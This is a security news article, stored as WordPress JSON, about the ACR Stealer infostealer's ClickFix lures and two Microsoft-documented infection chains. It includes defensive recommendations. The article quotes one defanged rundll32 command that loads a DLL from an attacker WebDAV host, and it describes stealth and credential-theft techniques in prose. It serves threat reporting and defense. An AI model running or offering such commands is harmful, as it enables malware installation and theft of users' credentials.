{"id":1841,"date":"2026-07-17T11:02:45","date_gmt":"2026-07-17T11:02:45","guid":{"rendered":"https:\/\/thedigitalfortress.us\/?p=1841"},"modified":"2026-07-17T11:02:45","modified_gmt":"2026-07-17T11:02:45","slug":"acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files","status":"publish","type":"post","link":"https:\/\/thedigitalfortress.us\/?p=1841","title":{"rendered":"ACR Stealer Uses ClickFix Lures to Steal Browser Tokens and Microsoft 365 Files"},"content":{"rendered":"<div id=\"articlebody\">\n<div class=\"separator\" style=\"clear: both;\"><a href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhj5a79jcbSLlpVrk_Tkl4E0wiB47Zu2a7V3UrYOddEgvO0bNMVU1VzwmLIK-Ac8I71znO7vmH7QSDdF9cg4-VeEzLo_7InYxfc5yaXG8Ziv-nVAK1qRCkTx73CVKtLOESbkL2yUF9srs53F9hLAkXt9hsiSTjntbS3ThRVi3ApZniyKapqVAgz9PEuW9o\/s1700-e365\/clicks.png\" style=\"display: block;  text-align: center; clear: left; float: left;\"><\/a><\/div>\n<p>ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders.<\/p>\n<p>It gets in because someone pasted a command into a Run box and pressed Enter. Microsoft <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2026\/07\/16\/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity\/\" target=\"_blank\">laid<\/a> out two of the delivery chains on Thursday. Its Defender Experts team, the company&#8217;s managed detection arm, had watched ACR Stealer activity climb across customer environments from late April to mid-June, and says the campaigns are \u00absuccessfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents.\u00bb<\/p>\n<p>Both chains open with the same prompt, then split: one leaves traces on disk, the other runs almost entirely in memory. Microsoft&#8217;s remediation guidance tells victims to revoke tokens, not just rotate passwords.<\/p>\n<h2>A payload in the pixels<\/h2>\n<p>The prompt likely arrives through malvertising or SEO-manipulated search results, the report says. The fileless chain starts when the pasted command spawns <code>mshta.exe<\/code> to pull remote HTA content. An embedded VBScript loader leans on COM objects to decode and fire PowerShell; that stage mints a victim ID, disables certificate validation, and runs what it retrieves in memory.<\/p>\n<p>What it retrieves is a JPEG from an image host, with the payload sitting in the pixels. Custom routines carve it out, decrypt it, decompress it, and execute it reflectively. Then it goes for Chrome and Edge, reading the <code>Login Data<\/code> and <code>Web Data<\/code> databases and invoking DPAPI to decrypt the passwords, cookies, and tokens they hold. The PDFs on the Desktop and in Downloads go too.<\/p>\n<p>On May 26, SANS Internet Storm Center handler Brad Duncan <a href=\"https:\/\/isc.sans.edu\/diary\/Possible+ACR+Stealer+From+Page+Impersonating+Claude\/33018\/\" target=\"_blank\">documented a Windows infection<\/a> he traced to a page impersonating Claude, Anthropic&#8217;s AI assistant, reached through malicious Google ads and often hidden behind <code>sites.google.com<\/code> URLs. The page served macOS instructions when opened on a Mac and Windows instructions when opened on Windows.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thehackernews.uk\/ai-vuln-protection-d\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Cybersecurity\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjQl2axNwsfhbXOFynrg_uAZsvHi3OvNGSA8KJO-BKR8Xm3x7yjKV3EvfY4v5mwXx6LF0uWFb9h9d9iAV_Pi-YYhqimX9wx4OaLdDJEdR215Xrxq_PAtXkaLfQso4pTSjbj6fvh_ZTliLpzWZSZfcoZgyXtKwhN-SSDDlmbtUqGLshc0KqYQGWYHMN52Sl1\/s728-e100\/zz-d.jpg\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>Microsoft never names the lure. Two of the indicators in its Campaign 2 table, <code>creativecommunityinfo[.]art<\/code> and <code>enhanceblabber[.]cc<\/code>, are listed as a payload host and a C2. The Hacker News matched both to Duncan&#8217;s chain, which ran through subdomains of each seven weeks earlier, and Microsoft&#8217;s report cites his diary among the references.<\/p>\n<p><a name=\"more\"\/><\/p>\n<p>That chain also pulled a 628 KB JPEG from ImgBB, an image-hosting service. He flagged it as part of the infection and got nothing out of it: \u00abnor could I find any obvious signs of embedded data.\u00bb<\/p>\n<p><a href=\"https:\/\/redcanary.com\/blog\/threat-intelligence\/intelligence-insights-may-2026\/\" target=\"_blank\">Red Canary<\/a> had logged Claude-branded lures a month earlier, delivering ACR Stealer through fake Claude Code pages on GitLab such as <code>claude-desktop[.]gitlab[.]io<\/code>.<\/p>\n<h2>The other chain leaves fingerprints<\/h2>\n<p>Microsoft&#8217;s first chain writes to disk, which leaves defenders more to work with. The pasted command pulls a DLL straight off a WebDAV share over HTTPS, using a GUID directory and a filename built to pass as something else; the report&#8217;s example is <code>google.ct<\/code>.<\/p>\n<p>Red Canary published the same shape in its May report, from April telemetry, weeks before Microsoft&#8217;s writeup:<\/p>\n<pre>\"C:\\Windows\\system32\\rundll32.exe\" \\\\sphere-api.dialectosphere.in[.]net\\05fe317c-0981-4de2-bc8a-930d369db441\\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1<\/pre>\n<p>Two of the three variants Defender Experts saw use <code>pushd<\/code> to mount the remote share as a temporary local drive first, so the payload runs through what looks like a local path. The stealthiest wraps that in <code>conhost.exe --headless<\/code> to kill the console window and hides the strings for <code>pushd<\/code>, <code>rundll32<\/code>, and the remote host behind delayed environment-variable expansion.<\/p>\n<div class=\"separator\" style=\"clear: both;\"><a href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEj0nt-zc4YATBtEeQDFCOo2lAesVlEIerY4YgJbUnsMk-1Hm7p2Tkz5XcK7gDhoC-yoGASTMGQjbxyGXz82urOqLoSXOg_kT3sg0u6rY88sN6_eVDOtB5EmkT6JwgrgHGufL2H_jAysyiUgFYzL1ljFk7bfR9N_IcttjEFKXSl5wp4_U9E90LXoKVxi__0\/s1700-e365\/ms-clickfix.jpg\" style=\"display: block;  text-align: center; clear: left; float: left;\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEj0nt-zc4YATBtEeQDFCOo2lAesVlEIerY4YgJbUnsMk-1Hm7p2Tkz5XcK7gDhoC-yoGASTMGQjbxyGXz82urOqLoSXOg_kT3sg0u6rY88sN6_eVDOtB5EmkT6JwgrgHGufL2H_jAysyiUgFYzL1ljFk7bfR9N_IcttjEFKXSl5wp4_U9E90LXoKVxi__0\/s1700-e365\/ms-clickfix.jpg\" alt=\"\" border=\"0\" data-original-height=\"498\" data-original-width=\"1187\"\/><\/a><\/div>\n<p>What follows is obfuscated PowerShell. It drops a ZIP into a folder under <code>%LocalAppData%\\Temp<\/code> with an innocuous name; Microsoft&#8217;s example is <code>LogiOptionsPlus<\/code>. A bundled <code>pythonw.exe<\/code> then launches the Python script, so nothing flashes on screen. The installer wipes older copies before installing, which makes it an updater.<\/p>\n<p>It persists through a hidden scheduled task posing as a software update, copies timestamps off <code>notepad.exe<\/code> onto its own files, and clears PowerShell history behind it. The last stage stays in memory, handing execution through the Windows Fiber API.<\/p>\n<p>In a subset of these intrusions, a second Python loader talks to public blockchain RPC endpoints and Web3 node infrastructure, likely pulling a payload or a C2 address off a public ledger. Microsoft names the technique EtherHiding: put the pointer in a smart contract, and there is no attacker-controlled resolver left to seize.<\/p>\n<h2>No bug, no numbers<\/h2>\n<p>Neither chain exploits a vulnerability. Both inherit exactly what the signed-in user already has, and every layer downstream, the WebDAV mount, the pixel extraction, the in-memory handoff, only runs because a person read a prompt and pressed Enter. There is no CVE in this story. Patching does not remove the paste-and-run path.<\/p>\n<p>Microsoft says the lures are working, but never quantifies it. The report gives no victim count, no number of affected customers, and no baseline for the increase it reports.<\/p>\n<p>Red Canary&#8217;s April telemetry at least has numbers. ClearFake, a web-inject cluster that has been feeding ACR Stealer since at least March 2025, took the No. 1 spot on its most-prevalent-threat list for the first time that month, and ACR Stealer entered the top ten at a tie for sixth.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thehackernews.uk\/sygnia-cyber-response-d-1\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Cybersecurity\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiBxLQDy7VdLze43eMmpRllTXaPKPfB_veNUxQlqIu3-68GBJtegkhDGCqtaiSymOQviROdxln1FSd4zdMp5Jv9jeF1xQxLPc9uo9H7zW2nWHNax0wT0Y8JRj-zyUfbaCLqhxSfQT2sCfhWMBPL6UVgsh5RYVNVxwus_mW_BY9Ptwz3z7iF0_LWOnte-gqg\/s1600\/sy-d-1.jpg\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>The cluster delivers through JavaScript injected into compromised sites, and Microsoft&#8217;s report does not mention it in either chain.<\/p>\n<h2>Whose stealer is this?<\/h2>\n<p>Microsoft is careful about what it claims. It ties the activity to ACR Stealer on observed behavior and post-exploitation tradecraft, checked against what is publicly known about the family&#8217;s infrastructure, and names no threat actor at all. The caution is earned.<\/p>\n<p>ACR, also written up as AcridRain, was marketed on Russian-speaking forums by an actor known as SheldIO, who shut down sales in July 2024. The accounts split on what happened next. <a href=\"https:\/\/www.esentire.com\/blog\/evalusion-campaign-delivers-amatera-stealer-and-netsupport-rat\" target=\"_blank\">eSentire<\/a> says the source code was sold off. Proofpoint&#8217;s account differs: the same Telegram channel called the shutdown, not a goodbye from the team, and the Amatera panel surfaced five months later.<\/p>\n<p>On the rebrand, they agree. Proofpoint <a href=\"https:\/\/www.proofpoint.com\/us\/blog\/threat-insight\/amatera-stealer-rebranded-acr-stealer-improved-evasion-sophistication\" target=\"_blank\">reported in June 2025<\/a> that \u00abACR Stealer was significantly updated and rebranded as Amatera Stealer,\u00bb priced from $199 a month to $1,499 a year. Red Canary treats ACR and Amatera as one family and assesses ACR itself as an updated GrMsk Stealer.<\/p>\n<p>A July 2026 detection labelled ACR Stealer is a behavioral call on a codebase that has been renamed at least once and may have changed owners. The label describes the code. It does not tell you who is running it.<\/p>\n<h2>Where to stop it<\/h2>\n<p>One control sits upstream of every technique above: neither chain runs without a user pasting a command into the Run dialog.<\/p>\n<ul>\n<li>Cut the vector. eSentire recommends removing the Run prompt via GPO and blocking <code>mshta.exe<\/code> through AppLocker or WDAC.<\/li>\n<li>Use application control and attack surface reduction rules so PowerShell, Python, <code>mshta.exe<\/code>, and <code>rundll32.exe<\/code> cannot launch internet-delivered content from <code>Downloads<\/code>, <code>Temp<\/code>, or <code>%LocalAppData%<\/code>.<\/li>\n<li>Hunt <code>rundll32.exe<\/code> running with no command-line parameters while making a network connection, which is Red Canary&#8217;s detection opportunity for this family. Add scheduled tasks masquerading as software updates, timestomping, and PowerShell history clearing.<\/li>\n<li>On a suspected host, isolate, rotate credentials, revoke tokens, and check outbound connections to remote shares and image-hosting services.<\/li>\n<\/ul>\n<p>Microsoft shipped three Defender XDR hunting queries and 16 campaign domains with the report.<\/p>\n<p>Those indicators are a slice, and the report says so: representative, not the family&#8217;s full range, with more campaigns and infrastructure likely active. Domains rotate. The ask at the front does not, because it works. The lures overlap rather than replace one another: Red Canary saw fake CAPTCHAs and fake Claude pages in the same April telemetry.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive&hellip;<\/p>\n","protected":false},"author":1,"featured_media":1842,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[2584,265,225,236,1022,147,571,478,146],"class_list":["post-1841","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-acr","tag-browser","tag-clickfix","tag-files","tag-lures","tag-microsoft","tag-steal","tag-stealer","tag-tokens"],"_links":{"self":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts\/1841","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1841"}],"version-history":[{"count":0,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts\/1841\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/media\/1842"}],"wp:attachment":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1841"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1841"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1841"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}